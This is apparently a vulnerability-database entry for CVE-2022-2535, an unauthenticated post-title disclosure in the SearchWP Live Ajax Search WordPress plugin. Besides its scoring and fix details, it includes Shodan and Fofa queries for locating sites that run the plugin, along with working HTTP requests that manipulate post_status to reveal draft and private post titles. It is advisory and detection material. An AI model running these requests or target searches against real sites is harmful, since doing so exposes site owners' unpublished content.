| Title | SearchWP Live Ajax Search < 1.6.2 - Unauthenticated Arbitrary Post Title Disclosure |
|---|---|
| Author | r3Y3r53,daffainfo |
| Severity | Medium |
| Impact | Unauthenticated attackers can access titles and permalinks of private, draft, and pending posts through crafted live search queries with manipulated post_status parameters, potentially exposing confidential content before publication. |
| Remediation | Fixed in version 1.6.2 |
| CVSS Score | 5.3 |
| EPSS Score | 0.09769 |
| CVE ID | CVE-2022-2535 |
| CWE ID | CWE-639 |
| Shodan Query | http.html:/wp-content/plugins/searchwp-live-ajax-search/ |
| Fofa Query | body=/wp-content/plugins/searchwp-live-ajax-search/ |
| Tags | cve cve2022 wp wp-plugin wordpress wpscan searchwp-live-ajax-search searchwp vuln |
The plugin does not ensure that users making. alive search are limited to published posts only, allowing unauthenticated users to make a crafted query disclosing private/draft/pending post titles along with their permalink
GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=publish HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2535.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2535.pcap
N/AN/A